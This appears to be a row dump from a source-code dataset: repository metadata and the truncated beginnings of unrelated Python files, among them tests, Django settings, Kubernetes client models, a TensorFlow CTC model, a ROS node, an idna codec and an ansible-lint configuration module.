] | null | null | null | tests/test_thermo.py | rkingsbury/api | 14d82c44fe911de19555f6f434d9dfb37bbc0c6f | [
"BSD-3-Clause-LBNL"
] | null | null | null | import os
from pymatgen.analysis.phase_diagram import PhaseDiagram
import pytest
from mp_api.routes.thermo import ThermoRester
import inspect
import typing
resters = [ThermoRester()]
excluded_params = [
"sort_fields",
"chunk_size",
"num_chunks",
"all_fields",
"fields",
"equilibrium_reaction_e... | 33.512605 | 81 | 0.515296 |
796630d334250ee995f00f2752e82309b70b46fd | 6,436 | py | Python | server/group_chat_app/tests/test_roles.py | AzamatKomaev/social_site | 4db54c593e6315aa9a767b4db75f43a0cd7f2683 | [
"MIT"
] | 2 | 2021-11-16T04:46:47.000Z | 2022-02-15T12:06:08.000Z | server/group_chat_app/tests/test_roles.py | AzamatKomaev/social_site | 4db54c593e6315aa9a767b4db75f43a0cd7f2683 | [
"MIT"
] | null | null | null | server/group_chat_app/tests/test_roles.py | AzamatKomaev/social_site | 4db54c593e6315aa9a767b4db75f43a0cd7f2683 | [
"MIT"
] | null | null | null | from typing import Optional
from django.contrib.auth.models import Group
from rest_framework.test import APITestCase
from group_chat_app.tests.services.chat_services import ChatAPITestService
from user_app.models import User
from user_app.tests.data import users_data
from user_app.tests.services.user_services import ... | 57.464286 | 119 | 0.666718 |
7966321a44f124b7fc920da6a25e1dc8cd5dc2f5 | 1,328 | py | Python | tests/unit/test_type.py | ndparker/gensaschema | 36dab1beaecb0f92707b11020a08379958bc516f | [
"Apache-2.0"
] | 3 | 2016-10-25T09:37:19.000Z | 2020-07-21T14:06:00.000Z | tests/unit/test_type.py | ndparker/gensaschema | 36dab1beaecb0f92707b11020a08379958bc516f | [
"Apache-2.0"
] | 2 | 2019-05-23T13:08:56.000Z | 2021-02-25T15:28:41.000Z | tests/unit/test_type.py | ndparker/gensaschema | 36dab1beaecb0f92707b11020a08379958bc516f | [
"Apache-2.0"
] | 3 | 2016-09-02T13:15:05.000Z | 2019-10-01T12:55:10.000Z | # -*- coding: ascii -*-
u"""
:Copyright:
Copyright 2016 - 2021
Andr\xe9 Malo or his licensors, as applicable
:License:
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.... | 28.255319 | 73 | 0.677711 |
7966337d94549fea42aef92a002af56a62fc4df9 | 216 | py | Python | src/test2/TCPClient.py | eatPorkAndSeePigRun/computerNetworkTest | 0a2df4ca1cd881b33859ba2d5e44a42c1eace5f3 | [
"MIT"
] | null | null | null | src/test2/TCPClient.py | eatPorkAndSeePigRun/computerNetworkTest | 0a2df4ca1cd881b33859ba2d5e44a42c1eace5f3 | [
"MIT"
] | null | null | null | src/test2/TCPClient.py | eatPorkAndSeePigRun/computerNetworkTest | 0a2df4ca1cd881b33859ba2d5e44a42c1eace5f3 | [
"MIT"
] | 1 | 2020-05-12T18:24:14.000Z | 2020-05-12T18:24:14.000Z | import socket
c = socket.socket()
c.connect(("127.0.0.1", 8080))
send_data = input("输入要转换的字符串:")
c.send(str.encode(send_data))
recv_data = c.recv(1024)
print("From TCP Server:" + bytes.decode(recv_data))
c.close()
| 21.6 | 51 | 0.699074 |
7966338faa439f0bbf5800708832c247079ba143 | 941 | py | Python | myOptica/settings/local.py | SolanoJason/kiwioptics | d5d1fb8383710ca1e431c01407c2c9e1e227b053 | [
"MIT"
] | 1 | 2021-04-16T22:47:41.000Z | 2021-04-16T22:47:41.000Z | myOptica/settings/local.py | SolanoJason/kiwioptics | d5d1fb8383710ca1e431c01407c2c9e1e227b053 | [
"MIT"
] | null | null | null | myOptica/settings/local.py | SolanoJason/kiwioptics | d5d1fb8383710ca1e431c01407c2c9e1e227b053 | [
"MIT"
] | null | null | null | from .base import *
DEBUG = True
ALLOWED_HOSTS = []
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': config('DB_NAME'),
'USER': config('DB_USER'),
'PASSWORD': config('DB_PASSWORD'),
'HOST': config('DB_HOST'),
'PORT': config... | 29.40625 | 63 | 0.66525 |
7966351c97f6769e48d3f6a862ee3b844a4810dc | 3,379 | py | Python | rasa_core/channels/console.py | jramcast/rasa_core | 8b5f9dd7c858b31d8d8e7fed1cd00df4fe37f74d | [
"Apache-2.0"
] | 1 | 2018-12-05T22:30:43.000Z | 2018-12-05T22:30:43.000Z | rasa_core/channels/console.py | jramcast/rasa_core | 8b5f9dd7c858b31d8d8e7fed1cd00df4fe37f74d | [
"Apache-2.0"
] | null | null | null | rasa_core/channels/console.py | jramcast/rasa_core | 8b5f9dd7c858b31d8d8e7fed1cd00df4fe37f74d | [
"Apache-2.0"
] | 1 | 2021-12-14T09:48:59.000Z | 2021-12-14T09:48:59.000Z | # this builtin is needed so we can overwrite in test
from builtins import input
import json
import requests
from rasa_core import utils
from rasa_core.channels import UserMessage
from rasa_core.channels.channel import button_to_string, RestInput
from rasa_core.constants import DEFAULT_SERVER_URL
from rasa_core.interp... | 29.12931 | 76 | 0.608168 |
796636a3e4c88b7dfce1fe8811b12e7b6dfc82a3 | 438 | py | Python | case5/exabgp/rest_api.py | shaitmm/NetDevOps | 19478519f6c792353045fcfed7c56bc10428e680 | [
"MIT"
] | 1 | 2019-04-30T06:24:33.000Z | 2019-04-30T06:24:33.000Z | case5/exabgp/rest_api.py | shaitmm/NetDevOps | 19478519f6c792353045fcfed7c56bc10428e680 | [
"MIT"
] | null | null | null | case5/exabgp/rest_api.py | shaitmm/NetDevOps | 19478519f6c792353045fcfed7c56bc10428e680 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
from flask import Flask, request
from sys import stdout
app = Flask(__name__)
@app.route("/", methods=["POST"])
def command():
command = request.form["command"]
if "65535:65282" not in command and "announce route" in command :
command = command + " community 65535:65282"
st... | 19.909091 | 69 | 0.646119 |
7966372202bfb18ddf3d2797b4b75a05cec1452c | 4,811 | py | Python | src/ansiblelint/config.py | cognifloyd/ansible-lint | f9ad8ea39705850b7753e4cb13c3cc7c82f176f8 | [
"MIT"
] | null | null | null | src/ansiblelint/config.py | cognifloyd/ansible-lint | f9ad8ea39705850b7753e4cb13c3cc7c82f176f8 | [
"MIT"
] | null | null | null | src/ansiblelint/config.py | cognifloyd/ansible-lint | f9ad8ea39705850b7753e4cb13c3cc7c82f176f8 | [
"MIT"
] | null | null | null | """Store configuration options as a singleton."""
import os
import re
from argparse import Namespace
from functools import lru_cache
from typing import Any, Dict, List, Optional, Tuple
DEFAULT_KINDS = [
# Do not sort this list, order matters.
{"jinja2": "**/*.j2"}, # jinja2 templates are not always parsable a... | 37.585938 | 88 | 0.625026 |
796637263993cf874162c2c439b23930bf4e6e78 | 1,177 | py | Python | setup.py | ahawker/decorstate | 50d666b0e5a258a74c2d58442bb51ca034a7e809 | [
"Apache-2.0"
] | 9 | 2017-06-09T18:16:53.000Z | 2021-10-10T06:36:02.000Z | setup.py | ahawker/decorstate | 50d666b0e5a258a74c2d58442bb51ca034a7e809 | [
"Apache-2.0"
] | 1 | 2017-06-13T19:08:35.000Z | 2017-06-13T19:08:35.000Z | setup.py | ahawker/decorstate | 50d666b0e5a258a74c2d58442bb51ca034a7e809 | [
"Apache-2.0"
] | null | null | null | """
decorstate
~~~~~~~~~~
Simple "state machines" with Python decorators.
:copyright: (c) 2015-2017 Andrew Hawker
:license: Apache 2.0, see LICENSE for more details.
"""
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(
name='decorstate',
... | 29.425 | 65 | 0.617672 |
79663750f04dc4cd89c7df444dd292351e0df6f9 | 3,813 | py | Python | django/db/backends/postgresql/introspection.py | egenerat/gae-django | f12379483cf3917ed3cb46ca5ff0b94daf89fc50 | [
"MIT"
] | 3 | 2016-07-08T23:49:32.000Z | 2018-04-15T22:55:01.000Z | django/db/backends/postgresql/introspection.py | egenerat/gae-django | f12379483cf3917ed3cb46ca5ff0b94daf89fc50 | [
"MIT"
] | 27 | 2017-02-05T15:57:04.000Z | 2018-04-15T22:57:26.000Z | django/db/backends/postgresql/introspection.py | egenerat/gae-django | f12379483cf3917ed3cb46ca5ff0b94daf89fc50 | [
"MIT"
] | null | null | null | from django.db.backends import BaseDatabaseIntrospection
class DatabaseIntrospection(BaseDatabaseIntrospection):
# Maps type codes to Django Field types.
data_types_reverse = {
16: 'BooleanField',
20: 'BigIntegerField',
21: 'SmallIntegerField',
23: 'IntegerField',
... | 42.842697 | 96 | 0.570679 |
7966389eb2cb06f7e53446209dcba8b8959bfc9e | 2,992 | py | Python | src/models/ctc.py | trungd/speech-recognition | 1b033d535e98f141e63ca7a5f286f23c8fa1214f | [
"MIT"
] | 1 | 2019-05-07T01:16:43.000Z | 2019-05-07T01:16:43.000Z | src/models/ctc.py | trungd/speech-recognition | 1b033d535e98f141e63ca7a5f286f23c8fa1214f | [
"MIT"
] | null | null | null | src/models/ctc.py | trungd/speech-recognition | 1b033d535e98f141e63ca7a5f286f23c8fa1214f | [
"MIT"
] | null | null | null | import os
from .base import BaseModel
import tensorflow as tf
from six.moves import xrange as range
from ..utils import ops_utils
class CTCModel(BaseModel):
def __init__(self):
super().__init__()
def __call__(self, hparams, mode, batched_input, **kwargs):
BaseModel.__call__(self, hparams, mod... | 37.873418 | 114 | 0.623663 |
796639e87973d3768145e2c3ec179648d5ae2bcf | 29,995 | py | Python | resources/libraries/python/honeycomb/HoneycombSetup.py | preym17/csit | 3151c98618c78e3782e48bbe4d9c8f906c126f69 | [
"Apache-2.0"
] | null | null | null | resources/libraries/python/honeycomb/HoneycombSetup.py | preym17/csit | 3151c98618c78e3782e48bbe4d9c8f906c126f69 | [
"Apache-2.0"
] | null | null | null | resources/libraries/python/honeycomb/HoneycombSetup.py | preym17/csit | 3151c98618c78e3782e48bbe4d9c8f906c126f69 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2018 Cisco and/or its affiliates.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at:
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | 36.490268 | 80 | 0.564661 |
79663b357455d1eb50d9bdbc94e817a49b6f63c7 | 6,574 | py | Python | kubernetes_asyncio/client/models/v1beta1_priority_class_list.py | PidgeyBE/kubernetes_asyncio | 14d15dc309890253c26b6274a022e84441e05217 | [
"Apache-2.0"
] | null | null | null | kubernetes_asyncio/client/models/v1beta1_priority_class_list.py | PidgeyBE/kubernetes_asyncio | 14d15dc309890253c26b6274a022e84441e05217 | [
"Apache-2.0"
] | null | null | null | kubernetes_asyncio/client/models/v1beta1_priority_class_list.py | PidgeyBE/kubernetes_asyncio | 14d15dc309890253c26b6274a022e84441e05217 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
OpenAPI spec version: v1.13.5
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
class V1beta1Pri... | 33.20202 | 295 | 0.623213 |
79663bf31e3f02dd97431f8cfb28e368d466a087 | 17,850 | py | Python | day11/tests/__init__.py | sammichaels/aoc2019 | 4863faa11bffa9445d47f02648f8ede0f59852e4 | [
"CC0-1.0"
] | null | null | null | day11/tests/__init__.py | sammichaels/aoc2019 | 4863faa11bffa9445d47f02648f8ede0f59852e4 | [
"CC0-1.0"
] | null | null | null | day11/tests/__init__.py | sammichaels/aoc2019 | 4863faa11bffa9445d47f02648f8ede0f59852e4 | [
"CC0-1.0"
] | null | null | null | """
This file is part of Advent of Code 2019.
Coded by: Samuel Michaels (samuel.michaels@protonmail.com)
11 December 2019
NO COPYRIGHT
This work is dedicated to the public domain. All rights have been
waived worldwide under copyright law, including all related and
neighboring rights, to the extent allowed by law.
Y... | 27.12766 | 120 | 0.529188 |
79663d60a087a34eb19151fc5039392379137d81 | 1,156 | py | Python | ROS workspace/itu_odv_navigation/src/others/clone_odom.py | ITUROBLAB/-itu_odv_ws-idincern- | 2d1757f69dae1d666b19006f455f87fcea779968 | [
"MIT"
] | 1 | 2022-02-09T12:39:17.000Z | 2022-02-09T12:39:17.000Z | ROS workspace/itu_odv_navigation/src/others/clone_odom.py | idincern/itu_odv | 7c78714bbe4c9a35e14178ab1f1fbc92203a8244 | [
"MIT"
] | null | null | null | ROS workspace/itu_odv_navigation/src/others/clone_odom.py | idincern/itu_odv | 7c78714bbe4c9a35e14178ab1f1fbc92203a8244 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
#################### import ##########################
import rospy
import random
from std_msgs.msg import Int32, String
from nav_msgs.msg import Odometry
rospy.init_node("odom_cloner")
last_odom = Odometry()
last_odom.header.frame_id="odom"
last_odom.child_frame_id="base_link"
################... | 35.030303 | 95 | 0.678201 |
79663e18febccf27f19008def87804d930cd7cc5 | 2,561 | py | Python | tsvconv/test/pathtest.py | sam3ay/URV-Project | 73bd806c6d710107dcdcdaa186d83d39e34b5bcb | [
"MIT"
] | null | null | null | tsvconv/test/pathtest.py | sam3ay/URV-Project | 73bd806c6d710107dcdcdaa186d83d39e34b5bcb | [
"MIT"
] | null | null | null | tsvconv/test/pathtest.py | sam3ay/URV-Project | 73bd806c6d710107dcdcdaa186d83d39e34b5bcb | [
"MIT"
] | null | null | null | from tsvconv import pathhandling
import unittest
class TestParseUrl(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.url = ('gs://urv_genetics/ftp.ddbj.nig.ac.jp/'
'ddbj_database/dra/fastq/ERA013/'
'ERA013549/ERX007307/ERR018783_1.fastq.bz2')
def te... | 31.231707 | 63 | 0.450996 |
79663e60a6c6067247370849b24ead68bc715ee8 | 3,205 | py | Python | polling/polling/settings.py | Parametricall/polling | 8a28f0217359ce28a65227fc5ad374f0d724bcab | [
"MIT"
] | null | null | null | polling/polling/settings.py | Parametricall/polling | 8a28f0217359ce28a65227fc5ad374f0d724bcab | [
"MIT"
] | null | null | null | polling/polling/settings.py | Parametricall/polling | 8a28f0217359ce28a65227fc5ad374f0d724bcab | [
"MIT"
] | null | null | null | """
Django settings for polling project.
Generated by 'django-admin startproject' using Django 2.2.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
#... | 26.056911 | 91 | 0.697036 |
79663ee386b89439106f076ab34252241ef0b86e | 3,295 | py | Python | phenocube/lib/python3.8/site-packages/pip/_vendor/idna/codec.py | phenocube/phenocube-py | cb262aef1c0925efd2e955170bacd2989da03769 | [
"MIT"
] | null | null | null | phenocube/lib/python3.8/site-packages/pip/_vendor/idna/codec.py | phenocube/phenocube-py | cb262aef1c0925efd2e955170bacd2989da03769 | [
"MIT"
] | 1 | 2021-06-01T23:32:38.000Z | 2021-06-01T23:32:38.000Z | phenocube/lib/python3.8/site-packages/pip/_vendor/idna/codec.py | phenocube/phenocube-py | cb262aef1c0925efd2e955170bacd2989da03769 | [
"MIT"
] | null | null | null | from .core import encode, decode, alabel, ulabel, IDNAError
import codecs
import re
_unicode_dots_re = re.compile(u"[\u002e\u3002\uff0e\uff61]")
class Codec(codecs.Codec):
def encode(self, data, errors="strict"):
if errors != "strict":
raise IDNAError('Unsupported error handling "{0}"'.forma... | 26.788618 | 78 | 0.545979 |
796640985fc3677fd42cf5af7d32660d1e32b7f0 | 4,047 | py | Python | measures/corr_shape_dissimilarity.py | ryuzakyl/data-bloodhound | ae0413e748e55a0d2dbae35bbe96a672f313a64b | [
"Apache-2.0"
] | 3 | 2019-03-18T03:22:06.000Z | 2021-04-06T07:53:51.000Z | measures/corr_shape_dissimilarity.py | ryuzakyl/data-bloodhound | ae0413e748e55a0d2dbae35bbe96a672f313a64b | [
"Apache-2.0"
] | null | null | null | measures/corr_shape_dissimilarity.py | ryuzakyl/data-bloodhound | ae0413e748e55a0d2dbae35bbe96a672f313a64b | [
"Apache-2.0"
] | 2 | 2020-10-05T08:22:25.000Z | 2020-10-05T08:24:02.000Z | #!/usr/bin/env
# -*- coding: utf-8 -*-
# Copyright (C) Victor M. Mendiola Lau - All Rights Reserved
# Unauthorized copying of this file, via any medium is strictly prohibited
# Proprietary and confidential
# Written by Victor M. Mendiola Lau <ryuzakyl@gmail.com>, June 2017
from math import ceil, floor
import numpy as ... | 32.119048 | 162 | 0.661478 |
7966410b32f84b4b4af2516f89fc7fb1cae78cd8 | 957 | py | Python | group_new_contact.py | Nastya0505/exercises | 5830df27add72d7e6dbe8abe69cd12d9f2d7b594 | [
"Apache-2.0"
] | null | null | null | group_new_contact.py | Nastya0505/exercises | 5830df27add72d7e6dbe8abe69cd12d9f2d7b594 | [
"Apache-2.0"
] | null | null | null | group_new_contact.py | Nastya0505/exercises | 5830df27add72d7e6dbe8abe69cd12d9f2d7b594 | [
"Apache-2.0"
] | null | null | null | class Group:
def __init__(self, f_name, m_name, l_name, n_name, user_title, user_company, user_address1, user_home_phone, user_mobile_phone, user_work_phone, user_fax, user_email, user_email2, user_email3, user_homepage, user_address2, user_home_phone2, user_notes):
self.f_name=f_name
self.m_na... | 45.571429 | 258 | 0.722048 |
796645c7c55c9d4202339c5cc71c7d2530e8316d | 2,123 | py | Python | src/cybersource/migrations/0004_auto_20180102_1714.py | thelabnyc/django-oscar-cybersource | 510ecdc045edcf93ff7a62a120cb1eeaa56f40a9 | [
"0BSD"
] | 3 | 2016-06-18T01:37:50.000Z | 2021-02-08T04:07:11.000Z | src/cybersource/migrations/0004_auto_20180102_1714.py | thelabnyc/django-oscar-cybersource | 510ecdc045edcf93ff7a62a120cb1eeaa56f40a9 | [
"0BSD"
] | 24 | 2019-12-04T21:37:21.000Z | 2022-03-11T23:15:43.000Z | src/cybersource/migrations/0004_auto_20180102_1714.py | thelabnyc/django-oscar-cybersource | 510ecdc045edcf93ff7a62a120cb1eeaa56f40a9 | [
"0BSD"
] | 3 | 2016-05-31T10:02:30.000Z | 2017-09-01T10:55:20.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2018-01-02 17:14
from __future__ import unicode_literals
from django.db import migrations, models
import fernet_fields.fields
class Migration(migrations.Migration):
dependencies = [
("cybersource", "0003_auto_20160629_1135"),
]
operations ... | 32.166667 | 123 | 0.424399 |
7966474227aa284dafab90c6fa29ca8d5e12050e | 2,512 | py | Python | sklearnex/glob/__main__.py | a-vasenin/scikit-learn-intelex | b81f81098a7f9302c6a052a5d22ecd372682844d | [
"Apache-2.0"
] | null | null | null | sklearnex/glob/__main__.py | a-vasenin/scikit-learn-intelex | b81f81098a7f9302c6a052a5d22ecd372682844d | [
"Apache-2.0"
] | null | null | null | sklearnex/glob/__main__.py | a-vasenin/scikit-learn-intelex | b81f81098a7f9302c6a052a5d22ecd372682844d | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
#===============================================================================
# Copyright 2021-2022 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Licen... | 42.576271 | 87 | 0.617834 |
796648ee0545e941dcde77103cd7120d0f0a177e | 2,660 | py | Python | demo/cilrs/cilrs_eval.py | L-Net-1992/DI-drive | cc7f47bedbf60922acbcf3a5f77fc8e274df62cf | [
"Apache-2.0"
] | 219 | 2021-07-07T21:55:21.000Z | 2022-03-31T14:56:43.000Z | demo/cilrs/cilrs_eval.py | L-Net-1992/DI-drive | cc7f47bedbf60922acbcf3a5f77fc8e274df62cf | [
"Apache-2.0"
] | 7 | 2021-08-11T05:26:19.000Z | 2022-03-29T22:21:24.000Z | demo/cilrs/cilrs_eval.py | L-Net-1992/DI-drive | cc7f47bedbf60922acbcf3a5f77fc8e274df62cf | [
"Apache-2.0"
] | 29 | 2021-07-08T03:17:22.000Z | 2022-03-16T03:51:43.000Z | from easydict import EasyDict
import torch
from functools import partial
from core.envs import SimpleCarlaEnv
from core.policy import CILRSPolicy
from core.eval import CarlaBenchmarkEvaluator
from core.utils.others.tcp_helper import parse_carla_tcp
from ding.utils import set_pkg_seed, deep_merge_dicts
from ding.envs i... | 28.602151 | 100 | 0.602632 |
796649c018e77243fd6d2419abf383cef8b877be | 20,850 | py | Python | env/lib/python3.8/site-packages/plotly/graph_objs/layout/_grid.py | acrucetta/Chicago_COVI_WebApp | a37c9f492a20dcd625f8647067394617988de913 | [
"MIT",
"Unlicense"
] | 2 | 2021-07-07T20:16:23.000Z | 2021-07-14T14:03:09.000Z | env/lib/python3.8/site-packages/plotly/graph_objs/layout/_grid.py | acrucetta/Chicago_COVI_WebApp | a37c9f492a20dcd625f8647067394617988de913 | [
"MIT",
"Unlicense"
] | 5 | 2020-06-05T20:56:21.000Z | 2021-09-22T19:12:42.000Z | env/lib/python3.8/site-packages/plotly/graph_objs/layout/_grid.py | acrucetta/Chicago_COVI_WebApp | a37c9f492a20dcd625f8647067394617988de913 | [
"MIT",
"Unlicense"
] | 2 | 2020-07-05T12:57:14.000Z | 2020-07-05T12:58:00.000Z | from plotly.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Grid(_BaseLayoutHierarchyType):
# class properties
# --------------------
_parent_path_str = "layout"
_path_str = "layout.grid"
_valid_props = {
"columns",
"domain",
... | 34.634551 | 84 | 0.554053 |
79664a062246481527496e9084c565070a4b638f | 11,078 | py | Python | kubernetes/client/models/v1_deployment_spec.py | craigtracey/python | 177564c655c0ea3f9cf38e61ca275ef6c6256aab | [
"Apache-2.0"
] | null | null | null | kubernetes/client/models/v1_deployment_spec.py | craigtracey/python | 177564c655c0ea3f9cf38e61ca275ef6c6256aab | [
"Apache-2.0"
] | null | null | null | kubernetes/client/models/v1_deployment_spec.py | craigtracey/python | 177564c655c0ea3f9cf38e61ca275ef6c6256aab | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.9.4
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
... | 34.086154 | 374 | 0.643889 |
79664a7c209cbcef1bd1fb3d514b4f54e3152514 | 2,854 | py | Python | tests/lattice/test_graphene_lattice.py | PROMNY/pymc_pp | b5b5a611a0b66cf4ae2732c31b1531e8ae132a0e | [
"MIT"
] | 2 | 2019-03-25T07:31:55.000Z | 2020-08-29T16:49:15.000Z | tests/lattice/test_graphene_lattice.py | PROMNY/pymc_pp | b5b5a611a0b66cf4ae2732c31b1531e8ae132a0e | [
"MIT"
] | null | null | null | tests/lattice/test_graphene_lattice.py | PROMNY/pymc_pp | b5b5a611a0b66cf4ae2732c31b1531e8ae132a0e | [
"MIT"
] | 1 | 2020-08-29T17:07:07.000Z | 2020-08-29T17:07:07.000Z | import numpy as np
import sys
import os
sys.path.insert(0, os.path.abspath(os.path.join(
os.path.dirname(__file__), '../../pymc')))
import lattice
class TestGrapheneLattice():
"""Basic test cases."""
def test_adj_matrix_graphene(self):
a = lattice.GrapheneLattice(4)
res = np.asarray([
... | 46.786885 | 78 | 0.325508 |
79664a9cae9cc10818c24013cd451a5c1f3b9c1f | 1,080 | py | Python | estadistica/medidas_variabilidad.py | lobogral/Estadistica | 3ce62c6e1bdf7e066e0d5a0f289b4133b41f9ae8 | [
"Apache-2.0"
] | null | null | null | estadistica/medidas_variabilidad.py | lobogral/Estadistica | 3ce62c6e1bdf7e066e0d5a0f289b4133b41f9ae8 | [
"Apache-2.0"
] | null | null | null | estadistica/medidas_variabilidad.py | lobogral/Estadistica | 3ce62c6e1bdf7e066e0d5a0f289b4133b41f9ae8 | [
"Apache-2.0"
] | null | null | null | """Calcula medidas de variabilidad de una muestra."""
from typing import Union
def rango(muestra: list[Union[int, float]]) -> Union[float, int]:
"""Calcula el rango de valores en una muestra.
Parameters
----------
muestra
Arreglo de datos
Returns
-------
float | int
Rango... | 18.947368 | 67 | 0.581481 |
79664b6873a4920bda78d6f4163da0eeace28f09 | 3,089 | py | Python | home_developer/home_developer/report/biaya_vs_omzet/biaya_vs_omzet.py | bobzz-zone/home_developer | 02fdf0a8a55c04d201ead7f63599f4b3d54d8fd4 | [
"MIT"
] | null | null | null | home_developer/home_developer/report/biaya_vs_omzet/biaya_vs_omzet.py | bobzz-zone/home_developer | 02fdf0a8a55c04d201ead7f63599f4b3d54d8fd4 | [
"MIT"
] | null | null | null | home_developer/home_developer/report/biaya_vs_omzet/biaya_vs_omzet.py | bobzz-zone/home_developer | 02fdf0a8a55c04d201ead7f63599f4b3d54d8fd4 | [
"MIT"
] | null | null | null | # Copyright (c) 2013, Frappe and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from erpnext.controllers.trends import get_period_date_ranges, get_period_month_ranges
def execute(filters=None):
columns, data = [], []
columns = get_columns(filte... | 33.945055 | 161 | 0.661379 |
79664cbc5aeebd7ef3f688942c2f87d1a8614a36 | 1,313 | py | Python | test/test_edit_group.py | standrewz/python_training | 379fd6ee3f8ff86a72ecdafe0befda505d669ec5 | [
"Apache-2.0"
] | null | null | null | test/test_edit_group.py | standrewz/python_training | 379fd6ee3f8ff86a72ecdafe0befda505d669ec5 | [
"Apache-2.0"
] | null | null | null | test/test_edit_group.py | standrewz/python_training | 379fd6ee3f8ff86a72ecdafe0befda505d669ec5 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from model.group import Group
from random import randrange
import allure
def test_edit_some_group_name(app, db, check_ui):
with allure.step('When no groups presented in list'):
if app.group.count() == 0:
app.group.create(Group(name="test name", header="test header", foot... | 48.62963 | 117 | 0.686215 |
79664ce6b978fb8a6e6b68301d89197c0134ea4b | 435 | py | Python | tests/integration/cmor/_fixes/cmip5/test_noresm1_m.py | markelg/ESMValCore | b2f7ffc3232f174dd5ebc50ad20b4a02d3517c2c | [
"Apache-2.0"
] | 26 | 2019-06-07T07:50:07.000Z | 2022-03-22T21:04:01.000Z | tests/integration/cmor/_fixes/cmip5/test_noresm1_m.py | markelg/ESMValCore | b2f7ffc3232f174dd5ebc50ad20b4a02d3517c2c | [
"Apache-2.0"
] | 1,370 | 2019-06-06T09:03:07.000Z | 2022-03-31T04:37:20.000Z | tests/integration/cmor/_fixes/cmip5/test_noresm1_m.py | zklaus/ESMValCore | 5656fb8b546eeb4d750a424de7ed56a237edfabb | [
"Apache-2.0"
] | 26 | 2019-07-03T13:08:48.000Z | 2022-03-02T16:08:47.000Z | """Test fixes for NorESM1-M."""
from esmvalcore.cmor._fixes.cmip5.noresm1_m import Cl
from esmvalcore.cmor._fixes.common import ClFixHybridPressureCoord
from esmvalcore.cmor._fixes.fix import Fix
def test_get_cl_fix():
"""Test getting of fix."""
fix = Fix.get_fixes('CMIP5', 'NorESM1-M', 'Amon', 'cl')
asse... | 27.1875 | 66 | 0.701149 |
79664dc228afa7ef890e0677a15e0d287412bc12 | 1,149 | py | Python | src/audioio/core.py | wiccy46/audioio | 3a5b7e8264c338af6676f125022e3709c7a45683 | [
"MIT"
] | null | null | null | src/audioio/core.py | wiccy46/audioio | 3a5b7e8264c338af6676f125022e3709c7a45683 | [
"MIT"
] | null | null | null | src/audioio/core.py | wiccy46/audioio | 3a5b7e8264c338af6676f125022e3709c7a45683 | [
"MIT"
] | null | null | null | import numpy as np
import pyaudio
class Audioio():
"""Core class of the audioio, currently only dealing with float32, later to add more dtype in, such as int16
Args:
sr (int): sampling rate
chunk (int): chunk size or buffer size
pa (PyAudio()): pyaudio class for audio streaming
"""
... | 30.236842 | 112 | 0.617058 |
79664e487323628d658d3d17dee97b11497fb2e1 | 2,422 | py | Python | Higherfunctions/code.py | rohanrshahane/dsmp-pre-work | b36eb8c0481f5ce50afd4d528f750006531d3e70 | [
"MIT"
] | null | null | null | Higherfunctions/code.py | rohanrshahane/dsmp-pre-work | b36eb8c0481f5ce50afd4d528f750006531d3e70 | [
"MIT"
] | null | null | null | Higherfunctions/code.py | rohanrshahane/dsmp-pre-work | b36eb8c0481f5ce50afd4d528f750006531d3e70 | [
"MIT"
] | null | null | null | # --------------
##File path for the file
file_path
def read_file(path):
file = open(path , 'r')
sentence = file.readlines()
for x in sentence:
sentence = x
file.close()
return sentence
sample_message = read_file(file_path)
print(sample_message)
#Code starts here
# ... | 18.630769 | 71 | 0.64905 |
79664e8d117e057bc2052fee35f9340418e807d0 | 696 | py | Python | ngadnap/check_paths.py | smilefreak/NaDNAP | 18354778dd896bc0ab3456ca7dbb9d194c1ebf4d | [
"MIT"
] | null | null | null | ngadnap/check_paths.py | smilefreak/NaDNAP | 18354778dd896bc0ab3456ca7dbb9d194c1ebf4d | [
"MIT"
] | null | null | null | ngadnap/check_paths.py | smilefreak/NaDNAP | 18354778dd896bc0ab3456ca7dbb9d194c1ebf4d | [
"MIT"
] | null | null | null | """
Parses the check_paths options
@date 29 Feb 2016
"""
from ngadnap.utils.which import which, __is_file__
def check_paths(config):
"""
Need to make sure all the paths in the config file exist in the folders they are expected to.
"""
assert which(config['bwa']['executable'], "bwa")
... | 33.142857 | 102 | 0.673851 |
79664eb7059bc5e44c1041cd6dd9fbcacd190759 | 2,472 | py | Python | grr/core/grr_response_core/lib/parsers/sqlite_file.py | 4ndygu/grr | cfc725b5ee3a2626ac4cdae7fb14471612da4522 | [
"Apache-2.0"
] | null | null | null | grr/core/grr_response_core/lib/parsers/sqlite_file.py | 4ndygu/grr | cfc725b5ee3a2626ac4cdae7fb14471612da4522 | [
"Apache-2.0"
] | null | null | null | grr/core/grr_response_core/lib/parsers/sqlite_file.py | 4ndygu/grr | cfc725b5ee3a2626ac4cdae7fb14471612da4522 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
"""Parser for sqlite database files."""
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import logging
import os
import tempfile
